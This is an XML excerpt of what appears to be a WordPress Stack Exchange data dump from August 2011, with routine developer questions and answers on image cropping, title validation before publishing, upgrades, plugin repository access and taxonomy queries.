  <row Id="26738" PostTypeId="2" ParentId="26735" CreationDate="2011-08-24T02:29:08.733" Score="1" ViewCount="" Body="&lt;p&gt;Have a look &lt;a href=&quot;http://shibashake.com/wordpress-theme/expand-the-wordpress-quick-edit-menu&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. It's a pretty detailed tutorial but can be quite involved, don't forget to check the comments area.&lt;/p&gt;&#xA;" OwnerUserId="7737" LastActivityDate="2011-08-24T02:29:08.733" />
  <row Id="26739" PostTypeId="2" ParentId="26110" CreationDate="2011-08-24T03:42:53.180" Score="0" ViewCount="" Body="&lt;p&gt;actually you would not need to have a custom post type specific here since I would use the page type for it.. like Wyc suggest. I have done it a couple of time and it works smootly. in the specific site side page you just do a custom query of a given page and 'print' the specific part. for organisational purpose what I usualy do is children pages.. for example on homepage I can 'print' the excerpt of the bio page as a starter.. all works with page system. very easy&#xA;you can also use custom meta field if there is not major formatin on the additional boxes. &lt;/p&gt;&#xA;" OwnerUserId="8140" LastActivityDate="2011-08-24T03:42:53.180" />
  <row Id="26740" PostTypeId="1" CreationDate="2011-08-24T04:12:32.280" Score="1" ViewCount="59" Body="&lt;p&gt;Steps to reproduce...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Add to functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'half-size', 200, 200, false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Add to template file (inside loop):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot; &amp;gt;&#xA;&#xA; &amp;lt;?php the_post_thumbnail ('half-size', array('class' =&amp;gt; 'profile_image')); ?&amp;gt; &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) Go to media library and add image to post gallery. Then crop image, click &quot;thumbnail&quot; radio button and click save underneath the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Click set as featured image then &quot;save all changes&quot; at the bottom of the gallery dialog window. Then update the post (may not be necessary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not insert into gallery. Click over to the actual post and see if it is showing the part of the image you cropped or the whole image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Or does cropping inexplicably not work with Featured Image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13947&quot; rel=&quot;nofollow&quot;&gt;there is no ticket out for this issue&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1697" LastActivityDate="2011-08-24T12:57:38.367" Title="Cropped thumbnail still displaying as full image" Tags="&lt;post-thumbnails&gt;&lt;cropping&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="26741" PostTypeId="1" CreationDate="2011-08-24T04:28:17.603" Score="0" ViewCount="12" Body="&lt;p&gt;As the title suggests I would like to  add a new bulk action to the bulk action dropdown field in the comments interface. Specifically, I would like to add a CSS class to specific comments on the front end by marking comments with this new bulk action.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2011-08-24T04:28:17.603" Title="How can I add a new bulk action to the bulk action dropdown field in the comments interface" Tags="&lt;comments&gt;" />
  <row Id="26742" PostTypeId="2" ParentId="26546" CreationDate="2011-08-24T05:02:36.347" Score="1" ViewCount="" Body="&lt;p&gt;I would recommend installing Piwik on your intranet using one of their plugins, though it will work just fine as a stand alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://piwik.org/&quot; rel=&quot;nofollow&quot;&gt;http://piwik.org/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://piwik.org/blog/2008/06/new-plugin-wordpress-piwik-integration/&quot; rel=&quot;nofollow&quot;&gt;http://piwik.org/blog/2008/06/new-plugin-wordpress-piwik-integration/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-24T05:02:36.347" />
  <row Id="26743" PostTypeId="1" AcceptedAnswerId="26747" CreationDate="2011-08-24T07:30:14.497" Score="2" ViewCount="67" Body="&lt;p&gt;I searched around and the URL below is all I could find on this problem. If I publish a custom post type's post without entering in a post title, it wipes the whole post's info and says &quot;published&quot;. However, the post is nowhere to be seen. Looking into the database, I can see the post is created, but it's set to auto draft. The post_name value is empty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found this. Sounds like exactly what I'm experiencing&#xA;&lt;a href=&quot;http://www.wptavern.com/forum/plugins-hacks/1851-custom-post-type-posts-published-without-title-lost.html&quot; rel=&quot;nofollow&quot;&gt;http://www.wptavern.com/forum/plugins-hacks/1851-custom-post-type-posts-published-without-title-lost.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to fix this? Or maybe someone can suggest a way of checking to see if a post title exists when the post it published, and display a error message to the user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;Thanks to Manny's solution below, I managed to make a few modifications from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3749/wordpress-prompt-checklist-before-publish&quot;&gt;WordPress prompt checklist before publish?&lt;/a&gt; and fix the publish button so it doesn't keep spinning when you close the alert box. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_head', 'post_title_check');&#xA;function post_title_check() { ?&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function() {&#xA;        jQuery('#post').submit(function() {&#xA;&#xA;            if(jQuery('input[name=&quot;post_title&quot;]').val() == '') {&#xA;                alert(&quot;Please input a title&quot;);  &#xA;&#xA;               jQuery('#ajax-loading').hide();&#xA;               jQuery('#publish').removeClass('button-primary-disabled');&#xA;               return false;  &#xA;            }&#xA;&#xA;        }); &#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;" OwnerUserId="4999" LastEditorUserId="4999" LastEditorDisplayName="" LastEditDate="2011-09-02T07:21:42.713" LastActivityDate="2011-09-02T07:21:42.713" Title="Posts created in a Custom Post Type are lost if published without a title" Tags="&lt;custom-post-types&gt;&lt;title&gt;&lt;publish&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26744" PostTypeId="2" ParentId="26703" CreationDate="2011-08-24T08:20:23.403" Score="1" ViewCount="" Body="&lt;p&gt;I would suggest writing shortcodes to manipulate your data.  You can write a function that dumps your entire output with a neat little code placed in a post or you can go very in depth with shortcodes and give parameters to process or return data differently conditionally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is straightforward and simple enough you can just place it inside your functions.php file.  If you start to go in depth with it I would suggest you create a plugin to contain your code instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a shortcode you can create a post that can process your xml and you can insert the data from the elements as so&#xA;[fromxml element=&quot;xml_element&quot;] or [fromxml]xml_element[/fromxml] or [fromxml source_file=&quot;myfile.xml&quot; element=&quot;xml_element&quot;] and so on...&lt;/p&gt;&#xA;" OwnerUserId="7953" LastActivityDate="2011-08-24T08:20:23.403" />
  <row Id="26745" PostTypeId="2" ParentId="26653" CreationDate="2011-08-24T08:29:22.967" Score="0" ViewCount="" Body="&lt;p&gt;I just got done creating a very similar solution for a client.  You can find everything you need to know from the WordPress Codex.  Take a look at custom post types, custom taxonomies, and custom post meta in particular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up using a lot of custom queries with all of the additional meta with the listing post type I created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you do yourself a favor and write a few debugging functions into shortcode that can dump the post_meta and such.&lt;/p&gt;&#xA;" OwnerUserId="7953" LastActivityDate="2011-08-24T08:29:22.967" />
  <row Id="26746" PostTypeId="2" ParentId="26702" CreationDate="2011-08-24T08:31:27.423" Score="1" ViewCount="" Body="&lt;p&gt;From what I can see the codex articles for resetting your password are from 2005 and more than likely don't apply as WP doesn't use MD5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most simple way of doing it would be to simply execute the &lt;code&gt;wp_hash_password()&lt;/code&gt; function and put that directly in to the database. I suggest setting up a simple script like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include('wp-load.php');&#xA;&#xA;echo wp_hash_password( 'password' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put this in your webroot (with the other WP files), copy and paste the output into your row in the database. Delete the file when you're done.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastEditorUserId="3669" LastEditorDisplayName="" LastEditDate="2011-08-24T08:46:24.810" LastActivityDate="2011-08-24T08:46:24.810" />
  <row Id="26747" PostTypeId="2" ParentId="26743" CreationDate="2011-08-24T10:06:44.537" Score="2" ViewCount="" Body="&lt;p&gt;The function that's in charge of saving posts on the database (wp_insert_post) requires at the minimum a title and content: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_insert_post&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I created a quick and dirty jquery solution.  Input this in your functions file or in a plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('admin_head', 'post_title_check');&#xA;function post_title_check() {&#xA;    ?&amp;gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        jQuery(document).ready(function($) {&#xA;            $('input[name=&quot;save&quot;]').click(function() {&#xA;                if($('input[name=&quot;post_title&quot;]').val() ==='') {&#xA;                    alert(&quot;Please input a title&quot;);  &#xA;                    return false;&#xA;                }&#xA;            }); &#xA;        });&#xA;    &amp;lt;/script&amp;gt;'&#xA;    &amp;lt;?php   &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically checks to see if the text field is empty.  If it is, gives you a message and prevents you from continuing.  If it has something in the field, it submits with no issue.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastEditorUserId="2234" LastEditorDisplayName="" LastEditDate="2011-08-25T03:20:36.483" LastActivityDate="2011-08-25T03:20:36.483" CommentCount="5" />
  <row Id="26748" PostTypeId="2" ParentId="26554" CreationDate="2011-08-24T10:26:37.827" Score="0" ViewCount="" Body="&lt;p&gt;For those still looking for an answer, have a look at &#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6373/wp-page-and-subdirectory-with-same-name&quot;&gt;WP Page and Subdirectory with same name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basicalli I will have to rename the folder on my server.&lt;/p&gt;&#xA;" OwnerUserId="5804" LastActivityDate="2011-08-24T10:26:37.827" />
  <row Id="26749" PostTypeId="1" AcceptedAnswerId="26771" CreationDate="2011-08-24T10:26:44.053" Score="0" ViewCount="20" Body="&lt;p&gt;Are there any hooks for running plugin code after a core upgrade?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I'm running into issues that a users wp-admin column choice in the 'Screen Options' are &lt;a href=&quot;http://jaxov.com/2010/06/wordpress-3-0-publish-update-button-missing/&quot; rel=&quot;nofollow&quot;&gt;modified&lt;/a&gt; after an upgrade - I believe if they choose &quot;auto&quot;. After doing an svn sw I lost my &quot;publish&quot; box from the post/pages page. This is causing some major issues in my wp-admin skin.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-08-24T16:34:54.377" Title="Hooks to run after a core upgrade?" Tags="&lt;plugins&gt;&lt;hooks&gt;&lt;upgrade&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="26750" PostTypeId="1" CreationDate="2011-08-24T11:52:40.793" Score="1" ViewCount="63" Body="&lt;p&gt;I have a Wordpress 2.7.x setup that I would like to migrate to the latest version 3.2.1, however I need to make a stepped-upgrade as some plugins need an older version first (3.0.6 IIRC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However Wordpress is only offering me the latest and greatest version to upgrade to. Is there a way - prefereably within the admin - to update core to a specific version? Or am I bound to manual upgrades?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there probably a way to tell the wordpress core upgrader which version to pick? It was downloading a zip only recently, right?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-08-24T17:48:33.990" Title="Update to older wordpress version from admin?" Tags="&lt;updates&gt;&lt;core&gt;&lt;wordpress-version&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26751" PostTypeId="1" CreationDate="2011-08-24T11:26:27.853" Score="0" ViewCount="40" Body="&lt;p&gt;I am using wordpress 3.2.1 which is updated at starting of this month.. I am working in wordpress blog from last 3 months... after updation i am unable to post on my wordpress blog.i mean, getting error message like :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;redstone.xmlrpc.XmlRpcException: The response could not be parsed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but from same code i am able to post on my test blog.. &#xA;i am not getting whether it is problem of wordpress or Api i am using or anythings else..&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;i am using xmlrpc-common-3.1.2..&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-25T08:25:33.333" LastActivityDate="2011-08-25T08:25:33.333" Title="Errors Posting via XML-RPC" Tags="&lt;xml-rpc&gt;" AnswerCount="0" CommentCount="1" />
  <row Id="26752" PostTypeId="1" AcceptedAnswerId="26754" CreationDate="2011-08-24T12:14:51.643" Score="0" ViewCount="19" Body="&lt;p&gt;A plugin I've released has a collaborator.  So I put them into the readme.txt file and they show up on the plugin page and all that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does doing this automagically give them access to the SVN repository for the plugin?  Or is there some other process to go through to get them access?  Or is only one user allowed per repo?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-25T04:53:54.207" Title="Giving Multiple Authors Access to a Plugin's WP.org Repo" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="26753" PostTypeId="1" CreationDate="2011-08-24T12:23:48.113" Score="0" ViewCount="11" Body="&lt;p&gt;How to disable edit post option for post one day after publication?&lt;/p&gt;&#xA;" OwnerUserId="7314" LastActivityDate="2011-08-24T12:23:48.113" Title="How to disable edit post option after period of time?" Tags="&lt;posts&gt;" />
  <row Id="26754" PostTypeId="2" ParentId="26752" CreationDate="2011-08-24T12:47:58.750" Score="1" ViewCount="" Body="&lt;p&gt;As long as you use a valid WordPress.org username in the &lt;code&gt;Contributors:&lt;/code&gt; tag in &lt;code&gt;readme.txt&lt;/code&gt;, then yes: once the &lt;code&gt;readme.txt&lt;/code&gt; is parsed by Extend/SVN, then the specified username &lt;em&gt;automagically&lt;/em&gt; has SVN-commit access to the Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I know that it works for the &lt;strong&gt;&lt;code&gt;Contribuors:&lt;/code&gt;&lt;/strong&gt; tag, as I am such a contributor on a couple Plugins. If you're using a &lt;strong&gt;&lt;code&gt;Collaborators:&lt;/code&gt;&lt;/strong&gt; tag, I am unsure of how such a tag gets parsed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;And I mis-spoke somewhat. @Otto reminds me that committers must also be added, via the &lt;code&gt;extend\plugins\plugin-name\admin&lt;/code&gt; page. So, props Otto; I had completely forgotten about that part!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, there's really no &lt;em&gt;automagic&lt;/em&gt;. Go to &lt;code&gt;wordpress.org/extend/plugins/plugin-name/admin&lt;/code&gt;, look for the &lt;strong&gt;Committers&lt;/strong&gt; heading, add a WPORG username to the text field, and click &quot;Add Committer&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="6691" LastEditorDisplayName="" LastEditDate="2011-08-25T04:53:54.207" LastActivityDate="2011-08-25T04:53:54.207" CommentCount="3" />
  <row Id="26755" PostTypeId="2" ParentId="26740" CreationDate="2011-08-24T12:51:09.463" Score="0" ViewCount="" Body="&lt;p&gt;I was confusing add_image_size with set_post_thumbnail_size. The problem with the latter is that you can only set one 'thumbnail' size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to be able to keep the original image intact and apply a custom crop to the thumbnail version of the image. I'm using multiple image sizes around the site as the 'thumbnail' though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the fix here is to change 'half-size' to 'thumbnail' wherever I want to display the cropped image. It's a good idea to set 'thumbnail' as the largest image you will use it as. Because you will have to use CSS classes to resize it down to the other image size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There could be some negative drawbacks to this though like when inputting a 'gallery' now, I'm likely to get the larger thumbnail image size instead of the standard I had set before.&lt;/p&gt;&#xA;" OwnerUserId="1697" LastActivityDate="2011-08-24T12:51:09.463" />
  <row Id="26756" PostTypeId="2" ParentId="26740" CreationDate="2011-08-24T12:57:38.367" Score="0" ViewCount="" Body="&lt;p&gt;The reason that &lt;code&gt;half-size&lt;/code&gt; isn't cropping is because you've &lt;em&gt;specified for it not to hard-crop&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'half-size', 200, 200, false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That final parameter, which is defined as &lt;code&gt;false&lt;/code&gt;, is the &lt;strong&gt;hard-crop&lt;/strong&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set to &lt;code&gt;true&lt;/code&gt; to &lt;strong&gt;hard-crop&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set to &lt;code&gt;false&lt;/code&gt; to &lt;strong&gt;box-resize&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you need the &lt;code&gt;half-size&lt;/code&gt; image to crop, change that parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'half-size', 200, 200, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-24T12:57:38.367" CommentCount="7" />
  <row Id="26758" PostTypeId="1" CreationDate="2011-08-24T13:28:17.877" Score="0" ViewCount="18" Body="&lt;p&gt;I have a custom type, which uses custom taxonomy to create categories. I can add 'products' and assign them to the category structure that I have created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a top level menu which displays the parent categories, clicking each takes the user into the category hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no products in any sub-category of a parent category, then that listitem shouldn't display in the top level nav.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set hide_empty=1 &lt;em&gt;all&lt;/em&gt; the parent categories disappear, not just the one with no products. Can anyone advise?&lt;/p&gt;&#xA;" OwnerUserId="7216" LastActivityDate="2011-08-24T17:09:31.737" Title="custom types taxonomy hide_empty" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26760" PostTypeId="1" CreationDate="2011-08-24T13:42:35.380" Score="0" ViewCount="19" Body="&lt;p&gt;bbPress uses a custom post type called forums.  When I click on forums, both forums and the Blog menu items are highlighted as a current-menu-item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to remove the current-menu-item from Blog when the post-type = forum?&lt;/p&gt;&#xA;" OwnerUserId="8067" LastActivityDate="2011-08-24T16:04:41.763" Title="Remove current-menu-item for a specific link" Tags="&lt;custom-menus&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26763" PostTypeId="1" AcceptedAnswerId="26765" CreationDate="2011-08-24T15:13:52.323" Score="1" ViewCount="24" Body="&lt;p&gt;I'm wondering if anyone could offer advice on how to think about creating an A/B testing plugin for posts that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A) lets me assign unique URLs for each variant post&lt;sup&gt;*&lt;em&gt;1)&lt;/strong&gt;&lt;/sup&gt; and&lt;/em&gt;*  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B) is customizable on the frontend (i.e. new-post.php).&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be two ways I could go about doing this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The first way: Create three separate posts, use the Shrimptest plugin to test, and exclude two of the posts from single.php (This was basically the answer that &lt;a href=&quot;http://wordpress.stackexchange.com/questions/26362/creating-unique-post-urls-for-a-b-testing-is-this-even-possible&quot;&gt;Otto&lt;/a&gt; gave when I asked about it on Stackexchange. The &lt;strong&gt;problem&lt;/strong&gt; with this solution, though, is that I would have to go into the files to edit the code every time I want to test a different batch of posts. And I can't figure out a way for it to meet requirement B.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The alternate way: Create custom fields in new-post.php that would give an editor the option to write in alternate headlines and upload different Facebook images and FB text. This is my preferred option right now since everything would be customizable from new-post.php. The &lt;strong&gt;problem&lt;/strong&gt; is that I'm not sure how to meet requirement A (a unique URL for each variant I test). Is it even possible to create a custom field in new-post.php that assigns sub-URLs on top of the default URL? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any tips or suggestions on any part of the problems I described would be great! Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt;&#xA;&lt;sup&gt;&lt;strong&gt;1)&lt;/strong&gt;&lt;/sup&gt; The reason I need requirement A (unique URLs for each variant) is because I ultimately want to measure shareability of my posts on social networks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For example:&lt;/em&gt; If I launch a post with Headline A, FB picture B upon sharing, and FB text B upon sharing, I want the number of clicks on that A/B/B variation to be tracked. Thus I need to assign a unique URL to that variation.  &lt;/p&gt;&#xA;" OwnerUserId="7607" LastEditorUserId="7607" LastEditorDisplayName="" LastEditDate="2011-08-24T16:50:30.793" LastActivityDate="2011-08-24T16:50:30.793" Title="A/B testing of posts with unique URLs for each variant AND editing in custom fields" Tags="&lt;posts&gt;&lt;testing&gt;&lt;split&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26764" PostTypeId="2" ParentId="15376" CreationDate="2011-08-24T15:22:37.213" Score="2" ViewCount="" Body="&lt;p&gt;There is &lt;code&gt;default_hidden_meta_boxes&lt;/code&gt; filter in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_hidden_meta_boxes&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_hidden_meta_boxes()&lt;/code&gt;&lt;/a&gt; that allows to modify which are not shown as long as user hadn't modified his preferences in screen options.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-24T15:22:37.213" />
  <row Id="26765" PostTypeId="2" ParentId="26763" CreationDate="2011-08-24T15:38:33.893" Score="0" ViewCount="" Body="&lt;p&gt;You could try our free &lt;a href=&quot;http://maxfoundry.com/plugins/maxab&quot; rel=&quot;nofollow&quot;&gt;MaxA/B plugin&lt;/a&gt;. It was made for split testing different URLs.&lt;/p&gt;&#xA;" OwnerUserId="8147" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-24T15:54:37.997" LastActivityDate="2011-08-24T15:54:37.997" CommentCount="12" />
  <row Id="26766" PostTypeId="2" ParentId="26760" CreationDate="2011-08-24T15:38:44.140" Score="0" ViewCount="" Body="&lt;p&gt;i would use jquery&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#menu-item-xxx').removeClass('current-menu-item');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8148" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-24T16:04:41.763" LastActivityDate="2011-08-24T16:04:41.763" />
  <row Id="26767" PostTypeId="2" ParentId="7221" CreationDate="2011-08-24T15:45:39.593" Score="0" ViewCount="" Body="&lt;p&gt;Just a little tips. When you enqueue your script, it enqueues for the whole site including admin panel. If you don't want the script in the admin panel, you can only include them for the site in frontend.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_add_frontend_scripts() {&#xA;    if( ! is_admin() ) {&#xA;        wp_enqueue_script('jquery');&#xA;        wp_enqueue_script('jquery-ui-core');&#xA;    }&#xA;}&#xA;add_action('init', 'my_add_frontend_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7156" LastActivityDate="2011-08-24T15:45:39.593" CommentCount="2" />
  <row Id="26768" PostTypeId="2" ParentId="20837" CreationDate="2011-08-24T15:55:07.933" Score="0" ViewCount="" Body="&lt;p&gt;Which permalink structure are you using? May be the default one? Try using different permalink structure from your admin panel.&lt;/p&gt;&#xA;" OwnerUserId="7156" LastActivityDate="2011-08-24T15:55:07.933" />
  <row Id="26770" PostTypeId="1" AcceptedAnswerId="26924" CreationDate="2011-08-24T16:03:49.467" Score="0" ViewCount="26" Body="&lt;p&gt;Say I have the following taxonomy terms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Term 1&#xA;  Term 1.1&#xA;  Term 1.2&#xA;Term 2&#xA;  Term 2.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get only posts that are assigned to Term 1 and not include those that are assigned to Term 1.1 or Term 1.2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pages = get_posts(array(&#xA;  'post_type' =&amp;gt; 'page',&#xA;  'numberposts' =&amp;gt; -1,&#xA;  'tax_query' =&amp;gt; array(&#xA;    array(&#xA;      'taxonomy' =&amp;gt; 'taxonomy-name',&#xA;      'field' =&amp;gt; 'id',&#xA;      'terms' =&amp;gt; 1 // Where term_id of Term 1 is &quot;1&quot;.&#xA;    )&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is also giving me posts that have Terms 1.1 and 1.2 assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7152" LastActivityDate="2011-08-25T20:48:43.320" Title="get_posts assigned to a specific custom taxonomy term, and not the term's children" Tags="&lt;custom-taxonomy&gt;&lt;terms&gt;&lt;get-posts&gt;&lt;hierarchical&gt;" AnswerCount="3" />
  <row Id="26771" PostTypeId="2" ParentId="26749" CreationDate="2011-08-24T16:34:54.377" Score="0" ViewCount="" Body="&lt;p&gt;Check the filter &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/update_feedback&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;update_feedback&lt;/code&gt;&lt;/a&gt;, he works after the update and you can use for all stuff after an update. An exmple plugin can you find in &lt;a href=&quot;http://plugins.svn.wordpress.org/unwanted-plugins-remover/trunk/unwanted-plugins-remover.php&quot; rel=&quot;nofollow&quot;&gt;this trunk&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-08-24T16:34:54.377" />
  <row Id="26772" PostTypeId="1" CreationDate="2011-08-24T16:43:34.457" Score="0" ViewCount="10" Body="&lt;p&gt;I'm using 'Meta Box Script for WordPress' to create custom meta boxes and everything is working great...except the following: We have a textarea that we want to act, basically as another WP the_content (It's for hidden content that is only shown once a link to show hidden content is clicked). My end-users want to be able to put something like the following in the box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;This is some pretty &amp;lt;a href=&quot;#&quot;&amp;gt;linked text&amp;lt;/a&amp;gt;.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following code in my template to show the custom meta box content:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo get_post_meta(get_the_ID(), 'oc_code', true); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content it shows is exactly like this (I'm guessing it's not parsing, if that's the correct phrase, the URL):&#xA;&lt;code&gt;This is some pretty &amp;lt;a href=&quot;#&quot;&amp;gt;linked text&amp;lt;/a&amp;gt;.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to show a clickable href within the template without adding more custom fields/meta boxes? I was looking at esc_attr, esc_url, etc. but don't know that that is the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA!&lt;/p&gt;&#xA;" OwnerUserId="7662" LastActivityDate="2011-08-24T16:43:34.457" Title="Linking text within textarea of custom meta box" Tags="&lt;php&gt;&lt;functions&gt;&lt;add-meta-box&gt;" />
